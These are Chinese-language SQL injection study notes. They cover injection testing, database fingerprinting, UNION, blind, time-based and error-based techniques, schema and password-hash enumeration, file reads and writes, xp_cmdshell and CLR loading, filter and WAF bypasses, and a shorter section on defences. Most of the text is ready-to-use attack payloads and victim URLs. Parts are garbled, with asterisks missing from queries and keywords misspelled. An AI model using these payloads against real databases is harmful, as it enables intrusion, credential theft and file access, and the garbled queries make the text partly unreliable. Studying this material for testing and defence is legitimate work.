### 判断是否为注入点

1、确定数据类型(数字或字符串)
数字不需要单引号
其他类型需要使用单引号
其他数据库使用单引号括住数字和字符串的混合串,MSSQL重载‘+’来连接数字和字符串
2、内联sql注入
注入SQL后原来的查询依然执行
2.1字符串内联注入
eg:
原代码—select from admin where username=’’ and password = ‘’
注入(‘or’1’=’1)—select
from admin where username=’’ or ‘1’=’1’ and password=’’
但是and优先级高于or所以可以看作是,结果只能返回口令为空的行—select from admin where username=’’ or (‘1’=’1’ and password=’’)
修改注入代码,增加一个新的or条件( ‘or 1=1 or ‘1’=’1 ),查询到了所有的结果—select
from admin where username=’’or 1=1 or ‘1’=’1’ and password
返回所有行时,有时无法绕过身份验证机制,只要求返回一行:注入(admin’and 1=1 or ‘1’=’1)—select from admin where username=’admin’and 1=1 or ‘1’=’1’ and password=’’
或者在password字段注入一个真的条件( ‘or ‘1’=’1 )—select
from admin where username=’’ and password = ‘ ‘or ‘1’=’1’

测试字符串 变种 预期结果
‘ 数据库返回一个错误
1’ or ‘1’=’1 1’) or (‘1’=’1 返回所有行
value’or’1’=’2 value’)or(‘1’=’2 返回与原来的值相同的结果
1’and’1’=’2 1’)and(‘1’=’2 不返回任何行
1’ or ‘ab’=’a’+’b 1’ )or (‘ab’=’a’+’b SQLSERVER字符串连接,返回与永真条件相同的信息
eg:
update users set password=’new_password’ where username=’’ and password=’’
update users set password=’new_password’ where username=’’ and password=’’ or ‘1’=’1’
2.2数字值内联注入
eg:
原代码—select from message where uid=[input] order by received;
注入(or 1=1)—select
from message where uid =45 or 1=1 order by received;
测试字符串 变种 预期结果
‘ 数据库返回错误
1+1 3-1 返回与原结果相同的值
value+0 返回与原结果相同的值
1 or 1=1 1) or (1=1 返回所有行
value or 1=2 value) or (1=2 返回与原结果相同的值
1 and 1=2 1) and (1=2 不返回任何行
1 or ‘ab’=’a’+’b’ 1) or (‘ab’=’a’+’b’ sqlserver字符串连接,返回所有行
1 or ‘ab’=’a’’b’ 1) or (‘ab’=’a’’b’ mysql字符串连接,返回所有行
1 or ‘ab’=’a’||’b’ 1) or (‘ab’=’a’||’b’ oracle字符串连接,返回所有行
3、终止式sql注入
数据库注释:
sqlserver、oracle、postgresql:
单行注释:—
多行注释:/ /
mysql:
单行注释:—(后加空格)
单行注释:#

多行注释:/ /
eg:
1、部分防御技术会清除用户输入中的空格
源代码:select from message where uid = 1;
注入: select
from message where uid =1 or 1=1;
防御之后:select from message where uid = 1or1=1;
使用注释绕过:select
from message where uid = 1//or//1=1;
2、终止sql语句
源代码:select from admin where username = “” and password = “”;
注入(admin’/
) (/‘): select from admin where username =’admin’/‘ and password = ‘/‘’;
但此时sql语句为:select from admin where username =’admin’ ‘’ 最后多了两个单引号,可以使用字符串连接方式:
注入(admi’+/
) (/‘n):select from admin where username = ‘admi’+/‘ and password = “/‘n’;
字符串连接方式:
sqlserver: ‘a’+’b’=’ab’
mysql ‘a’ ‘b’ =’ab’
oracle/postgresql ‘a’||’b’=’ab’
4、时间延迟
SQL server服务器包含一条向查询引入延迟的内置命令:waitfor dalay ‘hour:minutes:seconds’;
eg(延迟五秒): http://www.victim.com/basket.aspx?uid=45;waitfor delay ‘0:0:5’;—
mysql 使用benchmark函数将一个表达式执行多次来实现延迟:
eg: select benchmark (10000000,encode(‘hello’,’mom’));
select sleep(5);
http://www.victim.com/display.php?id=32;select benchmark (10000000,encode(‘hello’,’mom’));—
oracle : http://www.victim.com/display.php?id=32 or 1= dbms_pipe.receive_message(‘RDS’,10)

—————————————————————————-
1、堆叠查询
单个数据库连接中执行多个查询序列。
eg:
http://www.victim.com/products.asp?id=1;exec+master..xp_cmdshell+’dir’;
ASP.NET、PHP访问SQL server 运行堆叠查询。
eg: select from stu;drop table stu;
2、识别数据库
asp/.net mssql
php mysql/postgresql
java oracle/mysql
iis mssql
apache mysql/postgresql
2.1非盲跟踪
1.使用单引号报错获取数据库类型(可能爆出数据库类型或从错误编号类型或出错函数等分析)
2.获取标志信息(数据库版本信息)
数据库服务器 查询
MSSQL select @@version
mysql select version()
select @@version
oracle select banner from v$version
select banner from v$version where rownum = 1
2.2盲跟踪
1.从字符串推断数据库类型 eg:select ‘something’;返回结果为something 改变查询方式查看返回结果是否还是原值
数据库服务器 查询
MSSQL select ‘some’+’thing’
MYSQL select ‘some’ ‘thing’
select concat(‘some’,’thing’)
ORACLE select ‘some’||’thing’
select concat(‘some’,’thing’)
2.从数字函数推断数据库类型
数据库服务器 查询
MSSQL select @@pack_received
select @@rowcount
MYSQL select connection_id()
select last_insert_id()
row_count()
ORACLE select BITAND(1,1)
3.使用函数(如延时函数)判断数据库类型
4.使用注释判断数据库类型
3、UNION—并查询
3.1匹配列
1.两个查询返回的列数相同
2.两个select语句对应列数据类型相同
获取列数:
union select null
union select null,null
….
select
from test where id = 1 order by 1
select from test where id = 1 order by 5
……
3.2匹配数据类型
union select ‘test’,NULL,NULL,NULL
union select NULL,’test’,NULL,NULL
union select NULL,NULL,’test’,NULL
union select NULL,NULL,NULL,’test’
4、使用条件语句
数据库服务器 查询
MSSQL if(‘a’=’a’) select 1 else select 2
MYSQL select if(‘a’,1,2)
Oracle select case when ‘a’=’a’ then 1 else 2
end from dual
select decode(substr(user,1,1),’A’,1,2) from dual
4.1基于时间
mssql:
eg:if(system_user = ‘sa’) waitfor dalay ‘0:0:5’ —
http://www.victim.com/products.asp?id=1;if(system_user=’sa’)+waitfor+dalay+’0:0:5’+waitfor+dalay+’0:0:5’) —
if(substring((select @@version),25,1)=5)waitfor delay ‘0:0:5’—
mysql:
select benchmark(100000000,sha1(‘blah’))
select sleep(5)
postgresql:
select pg_sleep(5)
oracle:
select utl_http.request(‘http://10.0.0.1/')from dual;
4.2基于错误
eg:
http://www.victim.com/products.asp?id=12/is_srvrolemember(‘sysadmin’))
is_srvrolememver()下时mssql下的一个函数,返回1(如果用户属于指定组)0(不属于)NULL(用户不存在)
当结果为1:
id=12/1
id=12 正常
当结果为0:
id=12/0 报错
4.3基于内容
eg:
http://www.victim.com/products.asp?id=12%2B(case+when+(system_user=’sa’)+then+1+else+0+end)+then+1+else+0+end))
%2B值是’+’ //url中不能直接用+,否则会被解析为空格
当用户为sa,id=12+1=13
当用户不为sa,id=12+0=12
4.4处理字符串
http://www.victim.com/search.asp?brand=acle
http://www.victim.com/search.asp?brand=acl’%2B’e
http://www.victim.com/search.asp?brand=ac’%2Bchar(109)%2B’e%252B’e)
http://www.victim.com/search.asp?brand=ac’%2Bchar(108%2B(case+when+(system_user+=+’sa’+then+1+else+0+end)))%2B’e))%252B’e)

—————————————————————————-
mssql:
select name from master..sysdatabases //查询所有数据库名
select name from 【数据库名】..sysobjects where xtype=’U’ //查询数据库中的表
select name from 【数据库名】..syscolumns where id=(select id from 【数据库名】..sysobjects where name=’【表名】’) //查询数据表中的列名
mysql:
select schema_name from information_schema.schemata; //查询所有数据库
select database(); //当前数据库名
select table_name from information_schema.tables where table_schema=’【数据库名】’; //当前数据库中的表名
select column_name,data_type,column_comment from information_schema.columns where table_name=’【表名】’ and table_schema=’【数据库名】’; 表中的字段名
select column_name,data_type,column_comment from information_schema.columns where table_name=’【表名】’ ; //表名无重复时简化:
select 【字段值】 from 【数据库名】.【表名】; //字段值
oracle:
oracle一次只能访问一个数据库,因此无需(也无法)列举所有数据库
select table_name from user_tables; //列出当前用户的所有表
select owner,table_name from all_tables; //列出所有表及其所有者



—————————————————————————-
两种情形:
一:
在传递给insert或update语句的数据中包含其他表的信息,然后通过应用程序的其他部分来读取这些信息,如创建和管理个人简历的系统,可以将数据库其他表中的信息插入简历信息中显示出来
二:
通过错误消息或基于时间的攻击,实施了注入的查询立即返回查询的数据
情形一:插入用户规定的数据
eg:源代码,添加用户姓名: insert into table(firstname,lastname) values(‘’,’’);
注入(name’,(select ….))— ): insert into table(firstname,lastname) values(‘name’,(select ….))— ‘,’’)
insert into table(firstname,lastname) values(‘name’,(select database()))—‘,’’)
再去系统中查看姓名,发现可以查看到数据库名

情形二:生成insert错误
eg:insert into users (name,age) values(‘foo’,10)
注入:insert into users(name,age) values(‘foo’,(select top 1 name from user where age=@@version))—)’) //若返回错误信息,数据库版本将被返回

eg2:
insert into table_name values(‘’);
insert into table_name values(‘’or ‘1’=’1’); //显示正常
insert into table_name values(‘’or sleep(1) or ‘’); //显示正常且休息一秒,sleep执行成功, ‘’值为0,连续的or语句中,’’为假,继续执行之后的命令
—————————————————————————-
sqlserver2000:
select name,password from master.dbo.sysxlogins
sqlserver2005/2008:
select password_hash from sys.sql_logins
mysql:
select user,password from mysql.user
—————————————————————————-
适用盲注的三种场景:
1、提交无效的SQL返回一个通用的错误页面,提交正确SQL返回一个内容可被适度控制的页面,适用基于响应的盲注
2、提交无效SQL返回通用错误页面,提交正确SQL返回内容不可控页面,适用基于响应的盲注
3、提交无效SQL不产生错误页面,也不会以任何方式影响页面输出,这种类型的SQL盲注场景不返回错误,适用于基于时间的盲注
推断攻击技术 —添加判断信息
eg:推断当前用户名 括号内为注入信息
1.1判断长度 —截断字符串 最后一个是空
mssql : select….. ( value’ and substring(SYSTEM_USER,1,1)=’ ) ‘;
select….. ( value’ and substring(SYSTEM_USER,2,1)=’ ) ‘;
select….. ( value’ and substring(SYSTEM_USER,3,1)=’ ) ‘;
……
mysql: select….. ( value’ and substring((select user()), 15,1)=’ ) ‘;
1.2判断每个字符的值
mssql : select….. ( value’ and substring(SYSTEM_USER,1,1)=’a ) ‘;
select….. ( value’ and substring(SYSTEM_USER,1,1)=’b ) ‘;

mysql select….. ( value’ and substring((select user()) ,1,1) =’r ) ‘;
1.3优化 使用二分法判断
mysql select….. ( value’ and substring((select user()) ,1,1) >63—) ‘;
select….. ( value’ and substring((select user()) ,1,1) >’r’— ) ‘;
—————————————————————————-
1、MySQL延迟
1.1延迟方式
sleep() —>select sleep(秒数);
benchmark() —>select benchmark(1000000000,(select 1));
1.2使用方式
eg: select count(
) from stu where stuId = 1;
select count() from stu where stuId = 1 union select if (substring(user(),1,4)=’root’,sleep(5),1); #
二分搜索判断:
select count(
) from stu where stuId = 1 union select if (substring(user() ,1,1) =’r’,sleep(5),1); #
select count() from stu where stuId = 1 union select if (substring(user() ,1,1) >’r’,sleep(5),1); #
逐位判断(eg判断第三位):
select count(
) from stu where stuId = 1 union select if(ascii(substring(user(),1,4)&pow(2,3)=pow(2,3)),sleep(1),1);
2、MSSQL
eg: select count() from stu where stuId = 1;
select count(
) from stu where stuId = (1; if SYSTEM_USER=’sa’ WAITFOR DELAY ‘00:00:05’ );—
select count() from stu where stuId = (1; if ASCII(SUBSTRING((…),i,1)>k WAITFOR DELAY ‘00:00:05’ );—
逐位判断(eg判断第三位):
select count(
) from stu where stuId = 1;if ascii(substring(user(),1,4))&pow(2,3)=pow(2,3) WAITFOR DELAY ‘00:00:05’;—
—————————————————————————-
MySQL
select count() from reviews where review_author=’MadBob’
select count(
) from reviews where review_author=’MadBob’ and substring(SYSTEM_USER,1,1)>’a’;

select count() from reviews where id=1
select count(
) from reviews where id=1+if((substring(SYSTEM_USER,1,1)>’a’),1,0)
mssql:
select count() from reviews where review_author=’MadBob’
select count(
) from reviews where review_author=’MadBob’ and SYSTEM_USER=’sa’
二分搜索:
select count() from reviews where review_author=’MadBob’ and sascii(substring(system_user,i,1))>k—
逐位搜索:
select count(
) from reviews where review_author=’MadBob’ and ascii(substring(system_user,i,1))&pow(2,3)=pow(2,3)
—————————————————————————-
访问文件系统
读文件
MySQL
load data infile ‘d:\1.txt’ into table test; //读取文件到数据表,mysql设置安全属性后失败
select load_file(‘文件路径’); //无需创建表,mysql设置安全属性后失败
‘ union select load_file(‘文件路径’)#
单引号被过滤时,可使用十六进制进行绕过
eg: select ‘c:/boot.ini’
select 0x633a2f626f6f742e696e69
读取文件遇到无法正常显示的二进制,使用hex():select hex(load_file(‘文件路径’))
MSSQL:
bulk insert 【数据表名】 from ‘文件路径’;
eg: http://intranet/admin/staff.asp?sname=';create table hacked(line varchar(8000));bulk insert hacked from ‘文件路径’;

CLR(公告语言运行时),允许开发人员将.NET二进制文件集成到数据库,该功能默认禁用,拥有系统管理员权限可以重启该功能:
exec sp_configure ‘show advancd options’,1;
reconfigure;
exec sp_configure ‘clr enabled’,1;
reconfigure
使用该功能:
create assembly sqb from ‘c:\temp\test.exe’ with permission_set=unsafe
sqlserver会在加载/运行二进制文件时验证以保证是有效的.NET程序集,绕过方式如下:
create assembly sqb from ‘c:\temp\test.exe’
alert assembly sqb add file from ‘c:\windows\system32\net.exe’
alert assembly sqb add file from ‘c:\temp\test.exe’
写文件:
MySQL:
select ‘text’ into outfile ‘文件路径’
MSSQL:
exec xp_cmdshell ‘text >> 文件路径’




—————————————————————————-
1、使用大小写变种
union UniOn
2、使用注释
select from test;
select/**/
//from//test;
3、使用URL编码
4、使用动态查询+字符串操作
mssql:
exec(‘select password from users’)
exec(‘sel’+’ect password fr’+’om users’)
exec(char(83)+char(69)+char(76)+char(69)+char(67)+char(84)+’ password from users’)
oracle:
declare pw varchar2(1000);
begin
execute immediate ‘select password from users’ into pw;
end;
5、使用空字节
%00’ union select from test;—
6、嵌套
seleselectct
7、截断
eg:
select id from users where username=’aaaa’’and password=’or 1=1—‘
实际查询方式:
select id from users where username=(’aaaa’’and password=’)or (1=1)—‘


—————————————————————————-
一阶注入:
1 攻击者在HTTP请求中提交经过构思的输入
2 应用程序处理输入,SQL查询被执行
3 如果可行,返回查询结构
二阶注入:
1 攻击者提交请求
2 应用程序存储该输入(通常存储在数据库中)以便后续使用并响应请求
3 攻击者提交第二个(不同的)请求
4 为处理第二个请求,应用程序检索已经存储的输入并处理,从而导致攻击者注入的SQL查询被执行
5 返回结果
二阶注入实例:
eg:
1、插入时用户输入各列信息,应用程序对用户输入(即insert语句全部值)进行二次编码并执行insert语句
插入a’+@@version+’a
二次编码后插入:insert into tblContacts values(‘a’’+@@version+’’a’,……)
2、更新操作时,应用程序先进行查询操作,将数据解二次编码到内存,更新修改项为用户输入的二次编码形式,执行update语句
select
from tblUsers where id = 123
3、若第一次插入 输入注入语句,第二次更新其他项,则注入语句被解码并更新到数据库,注入成功
update tblUsers
set name=’a’+@@version+’a’,……
where id=123
—————————————————————————-
代码层防御
一、领域驱动的安全
public class UserName{
private static Pattern USERNAME_PATTERN = Pattern.compile(“^[a-z]{4,20}$”)
private final String username;
public Username(String username){
if(!isValid(username)){
throw new IllegalArgumentException(“Invalid username”);
}
}
public static boolean isValid(String username){
return USERNAME_PATTERN.matcher(username).matches();
}
}
二、参数化查询
1、java
Connection con = DriverManager.getConnection(connectionString);
String sql = “select from users where username = ? and password = ?”;
PreparedStatement lookupUsers = con.prepareStatement(sql);
lookupUser.setString(1,username);
lookupUser.setString(2,password);
rs = lookupUser.executeQuery();
2、.NET
SqlConnection con = new SqlConnection(connectionString);
string sql = “select
from users where username = @username and password=@password”;
cmd = new SqlCommand(sql,con);
cmd.Parameters.Add(“@username”,SqlDbType.NVarChar,16);
cmd.Parameters.Add(“@password”,SqlDbType.NVarChar,16);
cmd.Parameters.Value[“@username”]=username;
cmd.Parameters.Value[“@password”]=password;
reader = cmd.ExecuteReader();
3、PHP
$con = new mysqli(“localhost”,”username”,”password”,”db”)
$sql = “select from user where username = ? and password = ?”;
$cmd = $con->prepar($sql);
$cmd->bind_param(“ss”,$username,$password);
$cmd->execute();
三、输入验证
1、白名单
考虑的点:已知的值、数据类型、数据大小、数据范围、数据内容
2、黑名单
3、Java中的实现:定义输入验证类,实现javax.faces.validator.Validator接口
public class UsernameValidator implements Validator{
public void validate(FacesContext facecontext,UIComponent,Object value) throws ValiadtorException{
String username = (String)value;
Pattern p =Pattern.compile(“^[a-zA-Z]{8,12}$”);
Matcher m = p.matcher(username);
if(!m){
FacesMessage message = new FacesMessage();
message.setDetail(“Not valid - it must be 8-12 letter only”);
message.setSummary(“username not valid”);
throw new ValidatorException(message);
}
}
}
4、PHP实现
$username = $_POST[‘username’];
if(!preg_match(“/^[a-zA-Z]{8,12}$/D”,$username)){
//处理验证失败的情况
}
四、编码输出
编码发送给数据库的内容
五、规范化
六、通过设计来避免SQL注入的危险
1、使用存储过程
存储过程有助于减轻潜在SQL注入漏洞的严重影响,因为在大多数数据库中使用存储过程时都可以在数据库层配置访问控制。
2、使用抽象层
3、处理敏感数据
口令/财务信息/存档
4、避免明显的对象名
eg:password
使用不明显的表名和列名,确保攻击者无法识别这些信息(无法确认某个表存的是密码信息)
5、蜜罐
平台层防御
一、使用运行时保护
1、web应用防火墙
2、截断过滤器
3、不可编辑与可编辑的输入保护
应用程序只允许用户执行用户接口暴露给他们的动作
3、URL策略与页面层策略
4、面向切面编程(AOP)
5、应用程序入侵检测系统
6、数据库防火墙
二、确保数据库安全
1、锁定应用程序数据
2、锁定数据库服务器
三、附加的部署考虑
1、最小化不必要信息的泄露
2、提高web服务器日志的详细程度
3、web服务器 数据库服务器独立部署
4、配置网络访问控制
—————————————————————————-
1、绕过行数限制/绕过limit:group_concat() 该函数将多行合为一行
select group_concat(name) from test;
2、绕过=:
1、使用 regexp 进行正则匹配
2、<> (结果取反)
3、like
3、加查询:
1、union
2、堆叠(使用分号)
3、select 1;
select 1 or (select
from XXX where XXX) = 1;//最后的条件看情况
4、万能密码绕过=:
username =’123’<’2’ and password=’123’<’2’
username = ‘1’ and password=’’or 1<>’2’;
5、控制返回结果:添加 and 1=2 永假结果,再使用union并一个查询
select from user where 1=2 union select 1,2;
6、字符串值为0,字符串=0值为真
select
from user where username = ‘ \’ and password = ‘^’aaa’ ,
\’ and password =是字符串,值为0
aaa是字符串,值为0
异或,值为0
select from user where username = 0
select
from user where 1
7、绕过空格
//
Tab代替空格
%a0
括号 http://127.0.0.1/sqli/Less-26/?id=1’and(1=1)##)
8、绕过引号
使用十六进制
select column_name from information_schema.tables where table_name=”users”
select column_name from information_schema.tables where table_name=0x7573657273
9、绕过逗号
1. substring() 逗号绕过
select from test where id=1 and (select ascii(substring(username,2,1)) from admin limit 1)>97;
select
from test where id=1 and (select ascii(substring(username from 2 for 1))from admin limit 1)>97;
2. mid() 逗号绕过
select from test where id=1 and (select ascii(mid(username,2,1)) from admin limit 1)>97;
select
from test where id=1 and (select ascii(mid(username from 2 for 1))from admin limit 1)>97;
3. limit 逗号绕过
select from test where id=1 limit 1,2;
select
from test where id=1 limit 2 offset 1;
4. select substr(database(),1,1); ——> select substr(database() from 1 for 1 )
5. union select 1,2 ——> union select from (select 1)a join (select 2)b
10、绕过<>:
select
from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
11、绕过 and or xor not:
&& || | !
12、绕过union select 等关键字:
大小写绕过
注释绕过 uni/
/on
内联注释
双关键字 uniunionon
13、通用—编码绕过
or 1=1 —-> %6f%72%20%31%3d%31
14、结果的最后添加一行,其中一列有值,另一列值为NULL
‘ or 1=1 group by password with rollup
15、截取第N行(从0开始)
limit 1 offset N
16、insert 注入
insert into table_name values(‘’or sleep(1(substring((select database()),1,1)>’A’)) or ‘’);
17、报错注入
select
from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);
select from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select
from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
18、内联注入
select from/!user/;
19、注释符绕过
$sql=”SELECT
FROM users WHERE id=’$id’ LIMIT 0,1”;
http://127.0.0.1/sqli/Less-1/?id=1’ union 1,2,3 #
http://127.0.0.1/sqli/Less-1/?id=1’ union 1,2,3||’
http://127.0.0.1/sqli/Less-1/?id=1’ union 1,2,’3
20、通用绕过(编码)
如 URL编码,ascii 编码,HEX , unicode 编码绕过等
eg: Test可以为 char(101)+char(97)+char(115)+char(116)
21、等价绕过
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
—————————————————————————-